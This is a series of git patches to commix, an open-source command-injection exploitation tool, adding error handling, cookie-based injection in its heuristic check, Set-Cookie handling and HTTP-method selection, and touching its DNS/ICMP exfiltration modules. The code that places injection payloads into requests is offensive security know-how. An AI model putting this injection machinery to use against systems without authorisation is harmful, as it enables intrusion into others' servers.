diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index ce837e8dd4..368a2dbf40 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -188,15 +188,21 @@ def https_open(self, req):
if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]:
break
- except (_urllib.error.URLError, _http_client.BadStatusLine) as err_msg:
+ except (_urllib.error.URLError, _http_client.BadStatusLine, http.client.IncompleteRead) as err_msg:
if current_attempt == 0:
if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(err_msg):
print(settings.SINGLE_WHITESPACE)
- warn_msg = "The provided target URL seems not reachable. "
- warn_msg += "In case that it is, please try to re-run using "
+
+ if "IncompleteRead" in str(err_msg):
+ warn_msg = "There was an incomplete read error while retrieving data "
+ warn_msg += "from the target URL "
+ else:
+ warn_msg = "The provided target URL seems not reachable. "
+ warn_msg += "In case that it is, please try to re-run using "
if not menu.options.random_agent:
warn_msg += "'--random-agent' switch and/or "
warn_msg += "'--proxy' option."
+
print(settings.print_warning_msg(warn_msg))
info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)."
print(settings.print_info_msg(info_msg))
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 639a5edfc8..b3f2e7a4d0 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -222,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "23"
+REVISION = "24"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 6fc2c25905f0073bcc39963df95a47b2d2736527 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 29 Nov 2021 09:28:31 +0200
Subject: [PATCH 025/560] Fixes
https://github.com/commixproject/commix/issues/718
---
src/core/requests/headers.py | 2 +-
src/utils/settings.py | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index 368a2dbf40..cec443df94 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -188,7 +188,7 @@ def https_open(self, req):
if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]:
break
- except (_urllib.error.URLError, _http_client.BadStatusLine, http.client.IncompleteRead) as err_msg:
+ except (_urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead) as err_msg:
if current_attempt == 0:
if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(err_msg):
print(settings.SINGLE_WHITESPACE)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index b3f2e7a4d0..03e81fc102 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -222,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "24"
+REVISION = "25"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 85e6836530e680c9f00707ab532eb3df3122a4b2 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 4 Dec 2021 11:15:30 +0200
Subject: [PATCH 026/560] Fixes
https://github.com/commixproject/commix/issues/716
---
src/core/injections/controller/checks.py | 5 +++++
src/utils/settings.py | 2 +-
2 files changed, 6 insertions(+), 1 deletion(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index ea88d36d74..2dfce50f48 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -95,6 +95,11 @@ def load_cmd_history():
except (IOError, AttributeError) as e:
warn_msg = "There was a problem loading the history file '" + cli_history + "'."
print(settings.print_warning_msg(warn_msg))
+ except UnicodeError:
+ if settings.IS_WINDOWS:
+ warn_msg = "There was a problem loading the history file '" + cli_history + "'. "
+ warn_msg += "More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'"
+ print(settings.print_warning_msg(warn_msg))
# If the value has boundaries.
def value_boundaries(value):
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 03e81fc102..83026ac720 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -222,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "25"
+REVISION = "26"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From cff9c1a0e0b238dbea5d24c7dff12d0971ad8fd3 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 6 Dec 2021 09:29:11 +0200
Subject: [PATCH 027/560] Minor update regarding basic heuristic detection (for
code injection)
---
src/core/injections/controller/controller.py | 14 ++++++++++----
src/utils/settings.py | 2 +-
2 files changed, 11 insertions(+), 5 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 0073821f90..dfcbb70ee1 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -95,13 +95,19 @@ def heuristic_basic(url, http_request_method):
payload = checks.perform_payload_modification(payload)
if settings.VERBOSITY_LEVEL >= 1:
print(settings.print_payload(payload))
- if not menu.options.data:
- request = _urllib.request.Request(url.replace(settings.INJECT_TAG, payload))
+ data = None
+ cookie = None
+ if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
+ cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
+ elif menu.options.data:
+ data = menu.options.data.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
else:
- data = menu.options.data.replace(settings.INJECT_TAG, payload)
- request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC))
+ if settings.INJECT_TAG in url:
+ url = url.replace(settings.INJECT_TAG, payload)
+ request = _urllib.request.Request(url, data, headers={"Cookie": cookie})
headers.do_check(request)
response = requests.get_request_response(request)
+
if type(response) is not bool:
html_data = checks.page_encoding(response, action="decode")
match = re.search(settings.CODE_INJECTION_PHPINFO, html_data)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 83026ac720..c64e8f8d61 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -222,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "26"
+REVISION = "27"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From b9892ea70d99050a329facccea6543bea3d8feb7 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 10 Dec 2021 19:11:07 +0200
Subject: [PATCH 028/560] Fixes
https://github.com/commixproject/commix/issues/721
---
src/core/requests/proxy.py | 5 +++++
src/utils/settings.py | 2 +-
2 files changed, 6 insertions(+), 1 deletion(-)
diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py
index dc6bf64891..4cfd6ca4a0 100644
--- a/src/core/requests/proxy.py
+++ b/src/core/requests/proxy.py
@@ -14,6 +14,7 @@
"""
import sys
+import socket
from src.utils import menu
from src.utils import settings
from src.core.requests import headers
@@ -41,6 +42,10 @@ def do_check(url):
err_msg = "Unable to connect to the target URL or proxy."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
+ except socket.timeout:
+ err_msg = "The connection to target URL or proxy has timed out."
+ print(settings.print_critical_msg(err_msg) + "\n")
+ raise SystemExit()
"""
Use the defined HTTP Proxy
diff --git a/src/utils/settings.py b/src/utils/settings.py
index c64e8f8d61..6506ab8646 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -222,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "27"
+REVISION = "28"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 43382758c3d743fa06c5252f6e9d91811f400ae1 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 13 Dec 2021 09:55:55 +0200
Subject: [PATCH 029/560] Minor update
---
src/core/injections/controller/parser.py | 9 +++++----
src/utils/settings.py | 2 +-
2 files changed, 6 insertions(+), 5 deletions(-)
diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py
index c9c8bd5a89..1d095c11b2 100755
--- a/src/core/injections/controller/parser.py
+++ b/src/core/injections/controller/parser.py
@@ -195,13 +195,14 @@ def invalid_data(request):
if single_request:
sys.stdout.write(settings.SUCCESS_STATUS + "\n")
sys.stdout.flush()
- if menu.options.logfile:
- info_msg = "Parsed target from '" + os.path.split(request_file)[1] + "' for tests :"
- print(settings.print_info_msg(info_msg))
+ if menu.options.logfile and settings.VERBOSITY_LEVEL != 0:
sub_content = http_method + " " + prefix + menu.options.host + request_url
print(settings.print_sub_content(sub_content))
+ if menu.options.cookie:
+ sub_content = "Cookie: " + menu.options.cookie
+ print(settings.print_sub_content(sub_content))
if menu.options.data:
- sub_content = "Data: " + menu.options.data
+ sub_content = "POST data: " + menu.options.data
print(settings.print_sub_content(sub_content))
# eof
\ No newline at end of file
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 6506ab8646..517a0f15d2 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -222,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "28"
+REVISION = "29"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 4104e81dd9d408e2c76c8b6efbb342450aa176c8 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 18 Dec 2021 10:27:39 +0200
Subject: [PATCH 030/560] Minor fix regarding commit:
https://github.com/commixproject/commix/commit/cff9c1a0e0b238dbea5d24c7dff12d0971ad8fd3
---
src/core/injections/controller/controller.py | 5 +++--
src/utils/settings.py | 2 +-
2 files changed, 4 insertions(+), 3 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index dfcbb70ee1..d23b244563 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -97,14 +97,15 @@ def heuristic_basic(url, http_request_method):
print(settings.print_payload(payload))
data = None
cookie = None
+ tmp_url = url
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
elif menu.options.data:
data = menu.options.data.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
else:
if settings.INJECT_TAG in url:
- url = url.replace(settings.INJECT_TAG, payload)
- request = _urllib.request.Request(url, data, headers={"Cookie": cookie})
+ tmp_url = url.replace(settings.INJECT_TAG, payload)
+ request = _urllib.request.Request(tmp_url, data, headers={"Cookie": cookie})
headers.do_check(request)
response = requests.get_request_response(request)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 517a0f15d2..c598e98db8 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -222,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "29"
+REVISION = "30"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From ce70654625ad8db15a51f82c5068092cee41f568 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 20 Dec 2021 08:38:22 +0200
Subject: [PATCH 031/560] Added support for checking for not declared cookie(s)
---
doc/CHANGELOG.md | 1 +
src/core/injections/controller/checks.py | 31 ++++++++++++++++++++++++
src/core/requests/headers.py | 5 +++-
src/utils/settings.py | 2 +-
4 files changed, 37 insertions(+), 2 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index d4b3abc27a..78f9fd2294 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.4 (TBA)
+* Added: Support for checking for not declared cookie(s).
* Added: New (hidden) option `--smoke-test` that runs the basic smoke testing.
* Revised: Improvement regarding mechanism which nagging if used "dev" version is > 30 days old.
* Revised: Improvements regarding dynamic code evaluation heuristic check.
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 2dfce50f48..118d6c3be1 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -55,6 +55,37 @@
except ImportError:
settings.READLINE_ERROR = True
+
+"""
+check for not declared cookie(s)
+"""
+def not_declared_cookies(response):
+ try:
+ candidate = re.search(r'([^;]+);?', response.headers['set-cookie']).group(1)
+ while True:
+ if not menu.options.batch:
+ question_msg = "You have not declared cookie(s), while "
+ question_msg += "server wants to set its own ('" + str(candidate) + "'). "
+ question_msg += "Do you want to use those [Y/n] > "
+ set_cookies = _input(settings.print_question_msg(question_msg)).lower()
+ else:
+ set_cookies = ""
+ if len(set_cookies) == 0:
+ set_cookies = "Y"
+ if set_cookies in settings.CHOICE_YES:
+ menu.options.cookie = candidate
+ break
+ elif set_cookies in settings.CHOICE_NO:
+ break
+ elif set_cookies in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ err_msg = "'" + set_cookies + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ pass
+ except KeyError:
+ pass
+
"""
Tab Autocompleter
"""
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index cec443df94..7ef1f1144f 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -233,7 +233,10 @@ def https_open(self, req):
# Checks regarding a potential browser verification protection mechanism.
checks.browser_verification(page)
# Checks regarding recognition of generic "your ip has been blocked" messages.
- checks.blocked_ip(page)
+ checks.blocked_ip(page)
+ # Checks for not declared cookie(s), while server wants to set its own.
+ if menu.options.cookie == None:
+ checks.not_declared_cookies(response)
# This is useful when handling exotic HTTP errors (i.e requests for authentication).
except _urllib.error.HTTPError as err:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index c598e98db8..4db136bdc0 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -222,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "30"
+REVISION = "31"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From c4b91b8277fd54fab41e2876082b7783b12e64c0 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 21 Dec 2021 07:40:27 +0200
Subject: [PATCH 032/560] Added new option ( `--drop-set-cookie`) for ignoring
Set-Cookie header from response
---
doc/CHANGELOG.md | 1 +
src/core/requests/headers.py | 2 +-
src/utils/menu.py | 6 ++++++
src/utils/settings.py | 2 +-
4 files changed, 9 insertions(+), 2 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 78f9fd2294..65b2686aa5 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.4 (TBA)
+* Added: New option ( `--drop-set-cookie`) for ignoring Set-Cookie header from response.
* Added: Support for checking for not declared cookie(s).
* Added: New (hidden) option `--smoke-test` that runs the basic smoke testing.
* Revised: Improvement regarding mechanism which nagging if used "dev" version is > 30 days old.
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index 7ef1f1144f..b73162bc84 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -235,7 +235,7 @@ def https_open(self, req):
# Checks regarding recognition of generic "your ip has been blocked" messages.
checks.blocked_ip(page)
# Checks for not declared cookie(s), while server wants to set its own.
- if menu.options.cookie == None:
+ if menu.options.cookie == None and not menu.options.drop_set_cookie:
checks.not_declared_cookies(response)
# This is useful when handling exotic HTTP errors (i.e requests for authentication).
diff --git a/src/utils/menu.py b/src/utils/menu.py
index 793d89e96e..a0c410e1d7 100755
--- a/src/utils/menu.py
+++ b/src/utils/menu.py
@@ -313,6 +313,12 @@ def banner():
type="int",
help="Retries when the connection timeouts (Default: 3).")
+request.add_option("--drop-set-cookie",
+ action="store_true",
+ dest="drop_set_cookie",
+ default=False,
+ help="Ignore Set-Cookie header from response.")
+
# Enumeration options
enumeration = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Enumeration" + Style.RESET_ALL,
"These options can be used to enumerate the target host.")
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 4db136bdc0..337e410571 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -222,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "31"
+REVISION = "32"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 126b9aed97f5b3c675135ae32a60275b99297b7a Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 22 Dec 2021 09:02:28 +0200
Subject: [PATCH 033/560] Fixes
https://github.com/commixproject/commix/issues/711
---
.../blind/techniques/time_based/tb_handler.py | 2 +-
.../techniques/time_based/tb_injector.py | 8 ++--
src/core/injections/controller/controller.py | 4 +-
.../techniques/classic/cb_handler.py | 2 +-
.../techniques/classic/cb_injector.py | 8 ++--
.../techniques/eval_based/eb_handler.py | 2 +-
.../techniques/eval_based/eb_injector.py | 8 ++--
.../techniques/file_based/fb_handler.py | 2 +-
.../techniques/file_based/fb_injector.py | 8 ++--
.../techniques/tempfile_based/tfb_handler.py | 2 +-
.../techniques/tempfile_based/tfb_injector.py | 8 ++--
src/core/main.py | 38 ++++++++++++++-----
.../dns_exfiltration/dns_exfiltration.py | 4 +-
.../icmp_exfiltration/icmp_exfiltration.py | 4 +-
src/utils/settings.py | 2 +-
15 files changed, 61 insertions(+), 41 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index 0897d60d91..9ceb58bddc 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -375,7 +375,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
else:
header_name = ""
the_type = " parameter"
- if not menu.options.data:
+ if http_request_method != settings.HTTPMETHOD.POST:
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py
index 589a31325d..a1352661fd 100755
--- a/src/core/injections/blind/techniques/time_based/tb_injector.py
+++ b/src/core/injections/blind/techniques/time_based/tb_injector.py
@@ -45,8 +45,8 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec,
end = 0
start = time.time()
- # Check if defined method is GET (Default).
- if not menu.options.data:
+ # Check if defined HTTP method is not POST.
+ if http_request_method != settings.HTTPMETHOD.POST:
# Encoding non-ASCII characters payload.
# payload = _urllib.parse.quote(payload)
target = url.replace(settings.INJECT_TAG, payload)
@@ -92,8 +92,8 @@ def injection_test(payload, http_request_method, url):
end = 0
start = time.time()
- # Check if defined method is GET (Default).
- if not menu.options.data:
+ # Check if defined HTTP method is not POST.
+ if http_request_method != settings.HTTPMETHOD.POST:
# Encoding non-ASCII characters payload.
# payload = _urllib.parse.quote(payload)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index d23b244563..e151fde884 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -100,7 +100,7 @@ def heuristic_basic(url, http_request_method):
tmp_url = url
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
- elif menu.options.data:
+ elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST:
data = menu.options.data.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
else:
if settings.INJECT_TAG in url:
@@ -635,7 +635,7 @@ def basic_level_checks():
settings.IDENTIFIED_WARNINGS = False
settings.IDENTIFIED_PHPINFO = False
# Check if HTTP Method is GET.
- if not menu.options.data:
+ if http_request_method != settings.HTTPMETHOD.POST:
get_request(url, http_request_method, filename, timesec)
# Check if HTTP Method is POST.
else:
diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py
index b567351bec..0f54de2d6c 100755
--- a/src/core/injections/results_based/techniques/classic/cb_handler.py
+++ b/src/core/injections/results_based/techniques/classic/cb_handler.py
@@ -246,7 +246,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
else:
header_name = ""
the_type = " parameter"
- if not menu.options.data:
+ if http_request_method != settings.HTTPMETHOD.POST:
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py
index 8a9c5d9391..5e17a40639 100755
--- a/src/core/injections/results_based/techniques/classic/cb_injector.py
+++ b/src/core/injections/results_based/techniques/classic/cb_injector.py
@@ -46,8 +46,8 @@
"""
def injection_test(payload, http_request_method, url):
- # Check if defined method is GET (Default).
- if not menu.options.data:
+ # Check if defined HTTP method is not POST.
+ if http_request_method != settings.HTTPMETHOD.POST:
if " " in payload:
payload = payload.replace(" ","%20")
# Define the vulnerable parameter
@@ -197,8 +197,8 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques
response = custom_header_injection_test(url, vuln_parameter, payload)
else:
- # Check if defined method is GET (Default).
- if not menu.options.data:
+ # Check if defined HTTP method is not POST.
+ if http_request_method != settings.HTTPMETHOD.POST:
# Check if its not specified the 'INJECT_HERE' tag
#url = parameters.do_GET_check(url, http_request_method)
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
index 88f27d3481..4feae2a045 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
@@ -259,7 +259,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
else:
header_name = ""
the_type = " parameter"
- if not menu.options.data:
+ if http_request_method != settings.HTTPMETHOD.POST:
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py
index 1bbcd67e1e..a0b7cbf999 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py
@@ -40,8 +40,8 @@
"""
def injection_test(payload, http_request_method, url):
- # Check if defined method is GET (Default).
- if not menu.options.data:
+ # Check if defined HTTP method is not POST.
+ if http_request_method != settings.HTTPMETHOD.POST:
# Check if its not specified the 'INJECT_HERE' tag
#url = parameters.do_GET_check(url, http_request_method)
@@ -185,8 +185,8 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques
response = custom_header_injection_test(url, vuln_parameter, payload)
else:
- # Check if defined method is GET (Default).
- if not menu.options.data:
+ # Check if defined HTTP method is not POST.
+ if http_request_method != settings.HTTPMETHOD.POST:
# Check if its not specified the 'INJECT_HERE' tag
#url = parameters.do_GET_check(url, http_request_method)
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index 5d460723fb..e579189bc5 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -465,7 +465,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
else:
header_name = ""
the_type = " parameter"
- if not menu.options.data:
+ if http_request_method != settings.HTTPMETHOD.POST:
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
index cdb20f7c65..895dd3448b 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
@@ -42,8 +42,8 @@
"""
def injection_test(payload, http_request_method, url):
- # Check if defined method is GET (Default).
- if not menu.options.data:
+ # Check if defined HTTP method is not POST.
+ if http_request_method != settings.HTTPMETHOD.POST:
# Check if its not specified the 'INJECT_HERE' tag
#url = parameters.do_GET_check(url, http_request_method)
@@ -188,8 +188,8 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht
response = custom_header_injection_test(url, vuln_parameter, payload)
else:
- # Check if defined method is GET (Default).
- if not menu.options.data:
+ # Check if defined HTTP method is not POST.
+ if http_request_method != settings.HTTPMETHOD.POST:
# Check if its not specified the 'INJECT_HERE' tag
#url = parameters.do_GET_check(url, http_request_method)
payload = payload.replace(" ","%20")
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index 03541a844c..7c4e7d3099 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -414,7 +414,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
else:
header_name = ""
the_type = " parameter"
- if not menu.options.data:
+ if http_request_method != settings.HTTPMETHOD.POST:
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
index 3b11178120..5d49f10d7d 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
@@ -46,8 +46,8 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec,
end = 0
start = time.time()
- # Check if defined method is GET (Default).
- if not menu.options.data:
+ # Check if defined HTTP method is not POST.
+ if http_request_method != settings.HTTPMETHOD.POST:
# Encoding non-ASCII characters payload.
# payload = _urllib.parse.quote(payload)
@@ -96,8 +96,8 @@ def injection_test(payload, http_request_method, url):
end = 0
start = time.time()
- # Check if defined method is GET (Default).
- if not menu.options.data:
+ # Check if defined HTTP method is not POST.
+ if http_request_method != settings.HTTPMETHOD.POST:
payload = payload.replace("#","%23")
# Encoding non-ASCII characters payload.
# payload = _urllib.parse.quote(payload)
diff --git a/src/core/main.py b/src/core/main.py
index 089e1d72d0..0d1f513615 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -606,14 +606,6 @@ def main(filename, url):
if menu.options.enum_all:
checks.enable_all_enumeration_options()
- # Launch injection and exploitation controller.
- if len(settings.HTTP_METHOD) != 0:
- http_request_method = settings.HTTP_METHOD
- else:
- if menu.options.data:
- http_request_method = settings.HTTPMETHOD.POST
- else:
- http_request_method = settings.HTTPMETHOD.GET
controller.do_check(url, http_request_method, filename)
return filename
@@ -776,7 +768,7 @@ def main(filename, url):
pass
else:
break
- if not menu.options.data:
+ if http_request_method != settings.HTTPMETHOD.POST:
question_msg = "Please enter POST data (--data) [Enter for none] > "
menu.options.data = _input(settings.print_question_msg(question_msg))
if len(menu.options.data) == 0:
@@ -817,6 +809,34 @@ def main(filename, url):
if inject_tag_regex_match:
settings.INJECT_TAG = inject_tag_regex_match.group(0)
+ # Check provided parameters for tests
+ if menu.options.test_parameter or menu.options.skip_parameter:
+ if menu.options.test_parameter != None :
+ if menu.options.test_parameter.startswith("="):
+ menu.options.test_parameter = menu.options.test_parameter[1:]
+ settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX)
+
+ elif menu.options.skip_parameter != None :
+ if menu.options.skip_parameter.startswith("="):
+ menu.options.skip_parameter = menu.options.skip_parameter[1:]
+ settings.TEST_PARAMETER = menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX)
+
+ for i in range(0,len(settings.TEST_PARAMETER)):
+ if "=" in settings.TEST_PARAMETER[i]:
+ settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0]
+
+ # Check for HTTP Method
+ if len(settings.HTTP_METHOD) != 0:
+ http_request_method = settings.HTTP_METHOD.upper()
+ else:
+ if not menu.options.data or \
+ settings.WILDCARD_CHAR in menu.options.url or \
+ settings.INJECT_TAG in menu.options.url or \
+ [x for x in settings.TEST_PARAMETER if(x + "=" in menu.options.url and not x in menu.options.data)]:
+ http_request_method = settings.HTTPMETHOD.GET
+ else:
+ http_request_method = settings.HTTPMETHOD.POST
+
# Define the level of tests to perform.
if menu.options.level > 3:
err_msg = "The value for option '--level' "
diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py
index 248b6ccdc8..cffc02123d 100755
--- a/src/core/modules/dns_exfiltration/dns_exfiltration.py
+++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py
@@ -68,7 +68,7 @@ def cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter):
if settings.VERBOSITY_LEVEL != 0:
